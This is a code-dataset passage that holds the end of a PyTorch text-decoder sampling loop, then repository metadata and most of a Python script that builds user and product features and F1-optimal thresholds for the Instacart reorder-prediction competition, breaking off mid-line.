self.m_batch_size seq_idx = torch.arange(0, batch_size).long().to(self.m_device) seq_running = torch.arange(0, batch_size).long().to(self.m_device) seq_mask = torch.ones(batch_size).bool().to(self.m_device) running_seqs = torch.arange(0, batch_size).long().to(self.m_device) generations = torch.zeros(batch_size, max_seq_len).fill_(self.m_pad_idx).to(self.m_device).long() user_item_flags = torch.zeros(batch_size, max_seq_len).fill_(self.m_pad_idx).to(self.m_device) t = 0 var_de = self.m_network.m_latent2hidden(z+s+l) # print("hidden size", hidden.size()) hidden = None var_de_flag = torch.zeros(batch_size, 1).to(self.m_device) while(t < max_seq_len and len(running_seqs)>0): # print("t", t) if t == 0: input_seq = torch.zeros(batch_size).fill_(self.m_sos_idx).long().to(self.m_device) # input_seq = input_seq.unsqueeze(1) # print("input seq size", input_seq.size()) input_embedding = self.m_network.m_embedding(input_seq) input_embedding = input_embedding+var_de input_embedding = input_embedding.unsqueeze(1) # print("input_embedding", input_embedding.size()) output, hidden = self.m_network.m_decoder_rnn(input_embedding, hidden) logits = self.m_network.m_output2vocab(output) input_seq = self._sample(logits) if len(input_seq.size()) < 1: input_seq = input_seq.unsqueeze(0) # print("var_de_flag", var_de_flag, end=" ") generations, user_item_flags = self._save_sample(generations, user_item_flags, var_de_flag, input_seq, seq_running, t) seq_mask[seq_running] = (input_seq != self.m_eos_idx).bool() seq_running = seq_idx.masked_select(seq_mask) running_mask = (input_seq != self.m_eos_idx).bool() running_seqs = running_seqs.masked_select(running_mask) if len(running_seqs) > 0: input_seq = input_seq[running_seqs] hidden = hidden[:, running_seqs] var_de = var_de[running_seqs] output = output[running_seqs] # repeat_hidden_0 = repeat_hidden_0[running_seqs] running_seqs = torch.arange(0, len(running_seqs)).long().to(self.m_device) z = z[running_seqs] s = s[running_seqs] l = l[running_seqs] var_de_flag = self.m_network.m_decoder_gate(output.squeeze(1)) var_de = self.m_network.m_latent2hidden((1-var_de_flag)*z+var_de_flag*s+l) t += 1 # print("user_item_flags", user_item_flags) return generations, z, user_item_flags def _sample(self, dist, mode="greedy"): if mode == 'greedy': _, sample = torch.topk(dist, 1, dim=-1) sample = sample.squeeze() return sample def _save_sample(self, save_to, user_item_flags, var_de_flag, sample, running_seqs, t): # select only still running running_latest = save_to[running_seqs] # update token at position t running_latest[:,t] = sample.data # save back save_to[running_seqs] = running_latest # print("debug 1....", var_de_flag.squeeze().data) running_flags = user_item_flags[running_seqs] running_flags[:, t] = var_de_flag.squeeze().data user_item_flags[running_seqs] = running_flags # print("running_flags", running_flags[:, t]) # print("debug 2....", user_item_flags) return save_to, user_item_flags def print2flag(idx): print_sent_num = 10 sent_str = [str()]*print_sent_num for sent_i, sent in enumerate(idx): if sent_i >= print_sent_num: break for flag_step_i in sent: sent_str[sent_i] += str(flag_step_i.item())+" " print("%.4f"%flag_step_i.item(), end=" ") print("\n") return sent_str def idx2word(idx, i2w, pad_idx): print_sent_num = 10 sent_str = [str()]*print_sent_num # sent_str = [str()]*len(idx) # print(i2w) for i, sent in enumerate(idx): if i >= print_sent_num: break for word_id in sent: if word_id == pad_idx: break # print('word_id', word_id.item()) sent_str[i] += i2w[str(word_id.item())] + " " sent_str[i] = sent_str[i].strip() return sent_str
2b21e720229bdef6dbd6d887daa7d4a5df8fef28
eade1861db1968645e0e17dfaa5250a4b8245b98
/instacart/nlabel.py
a00b01205457a2c432de7808a247b9399784e38a
[]
no_license
piupiuup/competition
5b5da56fed336e07cf99cef8f5bfe89a8f771900
076c30df3d2647cb3580c543e604375e84590ca7
refs/heads/master
2022-09-30T14:47:01.244084
2020-05-30T12:56:02
2020-05-30T12:56:02
268,074,180
1
0
null
null
null
null
UTF-8
Python
false
false
39,573
py
# -*-coding:utf-8 -*- import os import tqdm import pickle import numpy as np import pandas as pd import lightgbm as lgb import scipy.stats as scs from sklearn.cross_validation import KFold IDIR = '/home/user/Desktop/cuishiwen/instacart/data/' cache_path = 'F:/cache/instacart_cache/' cache2_path = 'F:/cache/instacart_cache2/' pickle_path = 'F:/cache/instacart_cache/pickle/' # pickle读数据 def load(name): result_path = pickle_path + '%s.pkl' % name try: result = pickle.load(open(result_path,'rb+')) except: print('地址不存在!') return result # pickle写数据 def dump(var, name): result_path = pickle_path + '%s.pkl' % name try: pickle.dump(var,open(result_path, 'wb+')) except: print('地址不存在!') # 对数据进行离散化 def cut(feat, n_cat=100): feat_temp = feat.copy() feat_temp = feat_temp.replace(-100,np.nan) feat_temp = pd.qcut(feat_temp, n_cat).apply(lambda x: x.mid) return feat_temp # 对特征进行标准化 def normalize(feat): return feat/feat.std() def f1(y_true,y_pred): TP = len(set(y_true) & set(y_pred)) #预测为a类且正确的数量 MP = len(y_true) #a类实际的数量 MN = len(y_pred) #预测为a类的数量 return 2*TP/(MP+MN) def instacart_grade(y_true,y_pred): return np.mean([f1(x, y) for x, y in zip(y_true['products'].values, y_pred['products'].values)]) # 第一种按照阈值获取结果 def get_result(data): result = data.groupby('order_id',as_index=False)['product_id'].agg({'products':lambda x:list(x)}) return result # 第二种按照最佳阀值获取结果 def get_result2(data): ''' :param data: pd.DataFrame格式 包含['order_id','product_id','pred'] :return: 返回 pd.DataFrame 格式结果 ['order_id','products'] ''' # 寻找最佳阀值 def get_max_exp(pred_list, n_product): f1_temp = 0 # 期望f1 TP = 0 # 期望正确个数 PNone = (1.0-pred_list).prod() for pred in pred_list: n_product += 1 TP += pred f1 = TP/n_product if f1 < f1_temp: if PNone > (f1_temp*1.4): return 1.01 else: return pred else: f1_temp = f1 return 0 user_n_product = data.groupby('order_id')['pred'].sum() user_n_product = dict(user_n_product) temp = data.copy() temp.sort_values('pred',ascending=False,inplace=True) grouped = temp.groupby('order_id') result = {} for order_id, grouped in grouped: TRESHOLD = get_max_exp(grouped['pred'].values,user_n_product[order_id]) #输入概率备选商品的购买概率,获取最佳阀值 result[order_id] = list(grouped['product_id'].values[grouped['pred'].values>TRESHOLD]) # 根据阀值选择商品 result[order_id] = [None] if len(result[order_id])==0 else result[order_id] result = pd.Series(result).to_frame() result.reset_index(inplace=True) result.columns = ['order_id','products'] return result # 第三种按照最佳阀值获取结果 def get_result3(data): ''' :param data: pd.DataFrame格式 包含['order_id','product_id','pred'] :return: 返回 pd.DataFrame 格式结果 ['order_id','products'] ''' # 寻找最佳阀值 def get_max_exp(pred_list, n_product): flag = True f1_temp = 0 # 期望f1 f2_temp = 0 # 加入none后期望值 TP = 0 # 期望正确个数 PNone = (1.0-pred_list).prod() for pred in pred_list: n_product += 1 TP += pred f1 = 1.4*TP/n_product f2 = 1.4*TP/(n_product+1) if (f1<f1_temp) and flag: f1_result = (pred,f1_temp) flag = False if f1 < f1_temp: f2_result = (pred,f2_temp) P1 = f1_result[1] P2 = f2_result[1]+PNone/(sum(pred_list)+1) arg = np.argmax([PNone,P1,P2]) result = {0:(1.01,True),1:(f1_result[0],False),2:(f2_result[0],True)} return result[arg] f1_temp = f1 f2_temp = f2 arg = np.argmax([PNone, f1_temp,f2_temp+PNone/(sum(pred_list)+1)]) result = {0: (1.01, True), 1: (0, False), 2: (0, True)} return result[arg] user_n_product = data.groupby('order_id')['pred'].sum() user_n_product = dict(user_n_product) temp = data.copy() temp.sort_values('pred',ascending=False,inplace=True) grouped = temp.groupby('order_id') result = {} for order_id, grouped in grouped: TRESHOLD = get_max_exp(grouped['pred'].values,user_n_product[order_id]) #输入概率备选商品的购买概率,获取最佳阀值 result[order_id] = list(grouped['product_id'].values[grouped['pred'].values>TRESHOLD[0]]) # 根据阀值选择商品 if TRESHOLD[1] is True: result[order_id].append(None) result = pd.Series(result).to_frame() result.reset_index(inplace=True) result.columns = ['order_id','products'] return result # 第四种按照最佳阀值获取结果 def get_result4(data): ''' :param data: pd.DataFrame格式 包含['order_id','product_id','pred'] :return: 返回 pd.DataFrame 格式结果 ['order_id','products'] ''' def get_expectations(P, pNone=None): expectations = [] P = np.sort(P)[::-1] n = np.array(P).shape[0] DP_C = np.zeros((n + 2, n + 1)) if pNone is None: pNone = (1.0 - P).prod() DP_C[0][0] = 1.0 for j in range(1, n): DP_C[0][j] = (1.0 - P[j - 1]) * DP_C[0, j - 1] for i in range(1, n + 1): DP_C[i, i] = DP_C[i - 1, i - 1] * P[i - 1] for j in range(i + 1, n + 1): DP_C[i, j] = P[j - 1] * DP_C[i - 1, j - 1] + (1.0 - P[j - 1]) * DP_C[i, j - 1] DP_S = np.zeros((2 * n + 1,)) DP_SNone = np.zeros((2 * n + 1,)) for i in range(1, 2 * n + 1): DP_S[i] = 1. / (1. * i) DP_SNone[i] = 1. / (1. * i + 1) for k in range(n + 1)[::-1]: f1 = 0 f1None = 0 for k1 in range(n + 1): f1 += 2 * k1 * DP_C[k1][k] * DP_S[k + k1] f1None += 2 * k1 * DP_C[k1][k] * DP_SNone[k + k1] for i in range(1, 2 * k - 1): DP_S[i] = (1 - P[k - 1]) * DP_S[i] + P[k - 1] * DP_S[i + 1] DP_SNone[i] = (1 - P[k - 1]) * DP_SNone[i] + P[k - 1] * DP_SNone[i + 1] expectations.append([f1None + 2 * pNone / (2 + k), f1]) return np.array(expectations[::-1]).T # 寻找最佳阀值 def get_max_exp(pred_list,PNone=None): if PNone is None: PNone = (1.0-pred_list).prod() expectations = get_expectations(pred_list, PNone) ix_max = np.unravel_index(expectations.argmax(), expectations.shape) PNone_set = {0:True,1:False} if ix_max[1]==0: return (1.01, PNone_set[ix_max[0]]) else: return (pred_list[ix_max[1]-1],PNone_set[ix_max[0]]) temp = data.copy() temp.sort_values('pred',ascending=False,inplace=True) grouped = temp.groupby('order_id') result = {} for order_id, grouped in grouped: PNone = order_none[order_id] TRESHOLD = get_max_exp(grouped['pred'].values,PNone) #输入概率备选商品的购买概率,获取最佳阀值 result[order_id] = list(grouped['product_id'].values[grouped['pred'].values>=TRESHOLD[0]]) # 根据阀值选择商品 if TRESHOLD[1] is True: result[order_id].append(None) result = pd.Series(result).to_frame() result.reset_index(inplace=True) result.columns = ['order_id','products'] return result # 将list转换为str def list_to_str(arr): if (type(arr) != list) or (len(arr) == 0): return 'None' else: s = str(arr[0]) for i in range(len(arr)-1): s += ' ' + str(arr[i+1]) return s # 基尼系数 def gini(arr): arr = list(arr) arr = sorted(arr) for i in reversed(range(len(arr))): arr[i] = sum(arr[:(i + 1)]) gini = 1+1/len(arr)-2*sum(arr)/arr[-1]/len(arr) return gini # 计算偏度 def skew(arr): return scs.skew(arr) # 分组排序 def rank(data, feat_arr, feat2, ascending=True, name='rank'): data.sort_values(feat_arr+[feat2],inplace=True,ascending=ascending) data[name] = range(data.shape[0]) min_rank = data.groupby(feat_arr,as_index=False)[name].agg({'min_rank':'min'}) data = pd.merge(data,min_rank,on=feat_arr,how='left') data[name] = data[name] - data['min_rank'] del data['min_rank'] return data # 读取order def get_user_order(): df_path = cache_path + 'user_order.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: df = pd.read_csv(IDIR + 'orders.csv') df.sort_values(['user_id', 'order_number'], ascending=False, inplace=True) dates = [0] date = 0 for i in df['days_since_prior_order'].values: date += i if np.isnan(date): date = 0 dates.append(date) df['date'] = dates[:-1] df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 构造样本集 def get_user_candicate(user_order,eval=None): df_path = cache_path + '%s_user_candicate.hdf' % eval if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: if eval is None: user_order_temp = user_order[user_order['eval_set'] != 'prior'] else: user_order_temp = user_order[user_order['eval_set'] == eval] df = user_order_temp[['user_id','order_id']] df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 行为基础特征 def get_action_feat(user_order): df_path = cache_path + 'action.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: df = user_order[user_order['eval_set'] != 'prior'][[ 'order_id', 'order_dow', 'order_hour_of_day', 'days_since_prior_order']] df.rename(columns={'days_since_prior_order':'user_last_day'},inplace=True) #周几,时间,距离上次天数 df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 读取prior def get_prior(): df_path = cache_path + 'prior.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: df = pd.read_csv(IDIR + 'order_products__prior.csv') user_order = get_user_order() df = pd.merge(df,user_order,on='order_id',how='left') product = get_product() df = pd.merge(df,product[['product_id','aisle_id','department_id']]) del df['eval_set'] df.sort_values(['user_id','order_number','product_id'], ascending=True, inplace=True) df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 读取train def get_train(): df_path = cache_path + 'train.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: df = pd.read_csv(IDIR + 'order_products__train.csv') user_order = get_user_order() df = pd.merge(df, user_order, on='order_id', how='left') df['label'] = 1 del df['eval_set'] df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 读取product def get_product(): df_path = cache_path + 'product.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: df = pd.read_csv(IDIR + 'products.csv') df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 构造样本集 def get_candicate(prior=None,user_order=None,eval=None): df_path = cache_path + '%s_candicate.hdf' % eval if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: prior = get_prior() if prior is None else prior user_order = get_user_order() if user_order is None else user_order user_order_temp = user_order[user_order['eval_set'] != 'prior'] if eval is None else \ user_order[user_order['eval_set'] == eval] df = pd.merge(user_order_temp[['user_id','order_id']], prior[['user_id','product_id']], on='user_id', how='left') df = df.drop_duplicates(['user_id', 'product_id']) df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 用户活跃天数 def get_user_n_day(user_order): df_path = cache_path + 'user_n_day.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: df = user_order.groupby('user_id',as_index=False)['date'].agg({'user_n_day':'max'}) df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 用户购买商品个数 def get_user_n_item(prior): df_path = cache_path + 'user_n_item.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: df = prior.groupby('user_id',as_index=False)['product_id'].agg({'user_n_item':'count'}) df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 用户购买商品次数 def get_user_n_order(user_order): df_path = cache_path + 'user_n_order.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: df = user_order.groupby('user_id', as_index=False)['order_number'].agg({'user_n_order': 'max'}) df['user_n_order'] = df['user_n_order'] - 1 df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 用户每次购买商品个数的中位数 def get_user_median_item(prior): df_path = cache_path + 'user_median_item.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: order_n_item = prior.groupby(['user_id','order_id'],as_index=False)['user_id'].agg({'order_n_item':'count'}) df = order_n_item.groupby('user_id',as_index=False)['order_n_item'].agg({'user_median_item':'median'}) df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 用户购买商品种类数 def get_user_n_product(prior): df_path = cache_path + 'user_n_product.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: df = prior.groupby('user_id', as_index=False)['product_id'].agg({'user_n_product': 'nunique'}) df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 用户购买个数的各种特征值 def get_user_order_count(prior): df_path = cache_path + 'user_order_count.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: user_order_count = prior.groupby(['user_id','order_number'], as_index=False)['add_to_cart_order'].agg({'user_order_count': 'max'}) df = user_order_count.groupby('user_id')['user_order_count'].agg({'user_order_avg_count':'mean'}) df['user_order_max_count'] = user_order_count.groupby('user_id')['user_order_count'].agg({'user_order_max_count': 'max'}) df['user_order_min_count'] = user_order_count.groupby('user_id')['user_order_count'].agg({'user_order_min_count': 'min'}) df['user_order_std_count'] = user_order_count.groupby('user_id')['user_order_count'].agg({'user_order_std_count': 'std'}) df['user_order_skew_count'] = user_order_count.groupby('user_id')['user_order_count'].agg({'user_order_skew_count': skew}) df.reset_index(inplace=True) df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 用户购买个数的重心(相对) def get_user_barycenter(prior): df_path = cache_path + 'user_barycenter.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: user_order_n_item = prior.groupby(['user_id','order_number'],as_index=False)['product_id'].agg({'user_order_n_item':'count'}) user_order_n_item['user_order_barycenter'] = user_order_n_item['order_number'] * user_order_n_item['user_order_n_item'] df = user_order_n_item.groupby('user_id').agg({'user_order_n_item':{'user_n_item':'mean'}, 'order_number':{'user_order_sum':'sum'}, 'user_order_barycenter':{'user_barycenter':'sum'}}) df.columns = df.columns.droplevel(0) df['user_barycenter'] = df['user_barycenter'] / df['user_n_item'] / df['user_order_sum'] df.reset_index(inplace=True) df = df[['user_id','user_barycenter']] df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 用户多少天购买一次 def get_user_n_day_per_order(prior): df_path = cache_path + 'user_n_day_per_order.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: df = prior.groupby('user_id').agg({'date':{'user_n_day':'max'}, 'order_number':{'user_n_order':'max'}}) df.columns = df.columns.droplevel(0) df['user_n_day_per_order'] = df['user_n_day']/df['user_n_order'] df.reset_index(inplace=True) df = df[['user_id','user_n_day_per_order']] df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 用户每天购买多少个 def get_user_n_item_per_day(prior): df_path = cache_path + 'user_n_item_per_day.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: df = prior.groupby('user_id',as_index=False)['date'].agg({'user_n_day':'max','user_n_item':'count'}) df['user_n_item_per_day'] = df['user_n_item']/(df['user_n_day']+0.01) df = df[['user_id','user_n_item_per_day']] df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 此用户重复购买率 def get_user_rebuy_rate(prior): df_path = cache_path + 'user_rebuy_rate.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: user_product_rebuy_rate = get_user_product_rebuy_rate(prior) df = user_product_rebuy_rate.groupby('user_id',as_index=False)['user_product_rebuy_rate'].agg({'user_rebuy_rate':'mean'}) df = df[['user_id', 'user_rebuy_rate']] df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 用户购买商品的平均时间间隔 def get_user_avg_day_per_item(prior,user_order): df_path = cache_path + 'user_avg_day_per_item.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: user_product_avg_day_per_item = get_user_product_avg_day_per_item(prior,user_order) df = user_product_avg_day_per_item.groupby('user_id', as_index=False)[ 'user_product_avg_day_per_item'].agg({'user_avg_day_per_item': 'mean'}) df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 此用户平均多少天购买一次此商品 def get_user_product_avg_day_per_item(prior,user_order): df_path = cache_path + 'user_product_avg_day_per_item.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: user_product_first_day = get_user_product_first(prior,user_order) user_product_last_day = get_user_product_last(prior,user_order) user_product_n_item = get_user_product_n_item(prior) df = user_product_first_day.merge(user_product_last_day,on=['user_id','product_id'] ).merge(user_product_n_item,on=['user_id','product_id']) df['user_product_avg_day_per_item'] = (df['user_product_first_day'] - df['user_product_last_day']) / \ (df['user_product_n_item'] - 1).apply(lambda x: np.nan if x == 0 else x) df = df[['user_id','product_id','user_product_avg_day_per_item']] df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 用户第一次购买此商品的时间间隔和次数间隔 def get_user_product_first(prior,user_order): df_path = cache_path + 'user_product_first.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: df = prior.drop_duplicates(['user_id','product_id'],keep='first') df.rename(columns = {'date':'user_product_first_day','order_number':'user_product_first_order'},inplace=True) user_n_order = get_user_n_order(user_order) df = pd.merge(df, user_n_order, on='user_id', how='left') df['user_product_first_order'] = df['user_n_order'] - df['user_product_first_order'] df = df[['user_id','product_id','user_product_first_day','user_product_first_order']] df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 用户购买商品的平均次数间隔 def get_user_avg_order_per_item(prior,user_order): df_path = cache_path + 'user_avg_order_per_item.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: user_product_avg_order_per_item = get_user_product_avg_order_per_item(prior,user_order) df = user_product_avg_order_per_item.groupby('user_id',as_index=False)[ 'user_product_avg_order_per_item'].agg({'user_avg_order_per_item':'mean'}) df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 用户隔30天购买的次数占总次数的比例 def get_user_percent_30(user_order): df_path = cache_path + 'user_percent_30.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: user_n_30_order = user_order[user_order['days_since_prior_order']==30].groupby( 'user_id',as_index=False)['user_id'].agg({'user_n_30_order':'count'}) user_n_order = user_order.groupby( 'user_id',as_index=False)['user_id'].agg({'user_n_order': 'count'}) df = pd.merge(user_n_order,user_n_30_order,on='user_id',how='left').fillna(0) df['user_percent_30'] = df['user_n_30_order']/df['user_n_order'] df = df[['user_id','user_percent_30']] df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 用户上一次购买个数 def get_user_n_previous_item(prior): df_path = cache_path + 'user_n_previous_item.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: user_previous_order = prior[['user_id','order_number']].drop_duplicates('user_id',keep='last') user_previous_order['order_number'] = user_previous_order['order_number']-1 user_previous_order = user_previous_order.merge(prior,on=['user_id','order_number'],how='left') df = user_previous_order.groupby('user_id',as_index=False)['product_id'].agg({'user_n_previous_item':'count'}) user_order_avg_count = get_user_order_count(prior) df = df.merge(user_order_avg_count,on='user_id',how='left') # 用户最后一次购买个数除以平均购买个数 df['user_percent_previous_item'] = df['user_n_previous_item'] / df['user_order_avg_count'] df = df[['user_id','user_percent_previous_item','user_n_previous_item']] df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 获取用户的word特征 def get_user_word2vec(prior): import gensim from sklearn.decomposition import PCA df_path = cache_path + 'user_word2vec.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: order_products_prior = prior.copy() order_products_prior['user_id'] = order_products_prior['user_id'].astype(str) user_prior = order_products_prior.groupby('product_id').apply(lambda row: row['user_id'].tolist()) model = gensim.models.Word2Vec(user_prior.values, size=100, window=5, min_count=2, workers=4) model.save('user2vec.model') def get_vector_representation(row, pos): return model[row.user_id][pos] if row.user_id in model else None pca = PCA(n_components=2) word2vec_new = pca.fit_transform(model.wv.syn0) model.wv.syn0 = word2vec_new df = order_products_prior[['user_id']].drop_duplicates() df['user_id'] = df['user_id'].astype(str) df['user_vector_1'] = df.apply(lambda row: get_vector_representation(row, 0), axis=1) df['user_vector_2'] = df.apply(lambda row: get_vector_representation(row, 1), axis=1) df['user_id'] = df['user_id'].astype(int) df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 根据商品重复购买率判断用户类型 def get_user_rebuy_rate_by_product(prior): df_path = cache_path + 'user_rebuy_rate_by_product.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: prior_temp = prior[['user_id','product_id']].copy() product_rebuy_rate = get_product_rebuy_rate(prior) prior_temp = pd.merge(prior_temp,product_rebuy_rate,on='product_id',how='left') user_rebuy_rate_by_product = prior_temp.groupby('user_id',as_index=False)[ 'product_rebuy_rate'].agg({'user_rebuy_rate_by_product':'mean'}) user_rebuy_rate = get_user_rebuy_rate(prior) user_rebuy_rate_by_product = user_rebuy_rate_by_product.merge(user_rebuy_rate,on='user_id',how='left') user_rebuy_rate_by_product['user_rebuy_rate_by_product_rate'] = user_rebuy_rate_by_product[ 'user_rebuy_rate_by_product']/user_rebuy_rate_by_product['user_rebuy_rate'] df = user_rebuy_rate_by_product[['user_id','user_rebuy_rate_by_product','user_rebuy_rate_by_product_rate']] df['user_rebuy_rate_by_product'] = normalize(df['user_rebuy_rate_by_product']) df['user_rebuy_rate_by_product_rate'] = normalize(df['user_rebuy_rate_by_product']) df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 商品重复购买率 def get_product_rebuy_rate(prior): df_path = cache_path + 'product_rebuy_rate.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: user_product_rebuy_rate = get_user_product_rebuy_rate(prior) df = user_product_rebuy_rate.groupby('product_id',as_index=False)['user_product_rebuy_rate'].agg({'product_rebuy_rate':'mean'}) df = df[['product_id', 'product_rebuy_rate']] df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 此用户购买此商品的重复购买率 def get_user_product_rebuy_rate(prior): df_path = cache_path + 'user_product_rebuy_rate.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: user_order = get_user_order() user_product_n_item = get_user_product_n_item(prior) user_n_order = get_user_n_order(user_order) df = pd.merge(user_product_n_item,user_n_order,on='user_id',how='left') df['user_product_rebuy_rate'] = (df['user_product_n_item']-1) / (df['user_n_order']-1) df = df[['user_id','product_id','user_product_rebuy_rate']] df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 此用户购买此商品多少次 def get_user_product_n_item(prior): df_path = cache_path + 'user_product_n_item.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: df = prior.groupby(['user_id','product_id'],as_index=False)[ 'user_id'].agg({'user_product_n_item':'count'}) df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 用户最后一次购买此商品的时间间隔 和次数间隔 def get_user_product_last(prior,user_order): df_path = cache_path + 'user_product_last.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: df = prior.drop_duplicates(['user_id', 'product_id'], keep='last') df.rename(columns={'date': 'user_product_last_day', 'order_number': 'user_product_last_order'}, inplace=True) user_n_order = get_user_n_order(user_order) df = pd.merge(df,user_n_order,on='user_id',how='left') df['user_product_last_order'] = df['user_n_order'] - df['user_product_last_order'] + 1 df = df[['user_id', 'product_id', 'user_product_last_day', 'user_product_last_order']] df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 此用户平均多少次购买一次此商品 def get_user_product_avg_order_per_item(prior,user_order): df_path = cache_path + 'user_product_avg_order_per_item.hdf' if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: user_product_first_day = get_user_product_first(prior,user_order) user_product_last_day = get_user_product_last(prior,user_order) user_product_n_item = get_user_product_n_item(prior) df = user_product_first_day.merge(user_product_last_day,on=['user_id','product_id'] ).merge(user_product_n_item,on=['user_id','product_id']) df['user_product_avg_order_per_item'] = (df['user_product_first_order'] - df['user_product_last_order']) / \ (df['user_product_n_item'] - 1).apply(lambda x: np.nan if x == 0 else x) df = df[['user_id','product_id','user_product_avg_order_per_item']] df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df # 添加标签 def get_label(df,prior,train): y_candicate = prior[['user_id','product_id']].drop_duplicates() y_true = train[['user_id','product_id']].drop_duplicates() y_label = pd.merge(y_candicate,y_true,on=['user_id','product_id'],how='inner') y_label = y_label.groupby('user_id',as_index=False)['product_id'].agg({'nlabel':'count'}) df = df.merge(y_label,on='user_id',how='left') df['nlabel'] = df['nlabel'].fillna(0) df['label'] = df['nlabel'].apply(lambda x:1 if x==0 else 0) return df def get_order_pred(df_pred_path): df_pred = load(df_pred_path) order_pred = df_pred.groupby('order_id', as_index=False)['pred'].agg({'sum_label': 'sum', 'none_label': lambda x: (1 - x).prod(), 'max_label': 'max', 'min_label': 'min', 'mean_label': 'mean', 'std_label': 'std', 'skew_label': skew}) return order_pred # 添加二次特征 def get_second_feat(df): # 距离最后一次购买时间/用户多少天购买一次 df['user_exp_order'] = df['user_last_day'] / df['user_n_day_per_order'] # 距离最后一次购买时间*用户平均每天购买多少个 df['user_exp_item'] = df['user_last_day'] * df['user_n_item_per_day'] return df #构建用户训练集和测试集 def make_user_train_set(eval): df_path = cache_path + '%s_user_set.hdf' % eval if os.path.exists(df_path) & 1: df = pd.read_hdf(df_path, 'w') else: prior = get_prior() train = get_train() user_order = get_user_order() df = get_user_candicate(user_order, eval) # 构造样本 action_feat = get_action_feat(user_order) # 构造行为基础特征 user_n_day = get_user_n_day(user_order) # 用户活跃天数 user_n_item = get_user_n_item(prior) # 用户购买商品个数 user_n_order = get_user_n_order(user_order) # 用户购买商品次数 user_median_item = get_user_median_item(prior) # 用户每次购买商品个数的中位数 user_n_product = get_user_n_product(prior) # 用户购买商品种类数 uesr_order_count = get_user_order_count(prior) # 用户购买个数的各种特征值 user_barycenter = get_user_barycenter(prior) # 用户购买个数的重心(相对) user_n_day_per_order = get_user_n_day_per_order(prior) # 用户多少天购买一次 user_n_item_per_day = get_user_n_item_per_day(prior) # 用户平均每天购买多少个 user_rebuy_rate = get_user_rebuy_rate(prior) # 用户重复购买率 user_avg_day_per_item = get_user_avg_day_per_item(prior, user_order) # 用户购买商品的平均时间间隔 user_avg_order_per_item = get_user_avg_order_per_item(prior, user_order) # 用户购买商品的平均次数间隔 user_percent_30 = get_user_percent_30(user_order) # 用户隔30天购买的次数占总次数的比例 user_n_previous_item = get_user_n_previous_item(prior) # 用户上一次购买个数 user_word2vec = get_user_word2vec(prior) # 添加用户的work2vec user_rebuy_rate_by_product = get_user_rebuy_rate_by_product(prior) # 根据商品重复购买率判断用户类型 #order_pred = get_order_pred('df_pred') # UP模型产生的用户特征 order_pred = pd.read_csv(r'C:\Users\csw\Desktop\python\instacart\submission\order_pred.csv') print('将特征组合到一起') df = pd.merge(df, action_feat, on='order_id', how='left') df = pd.merge(df, 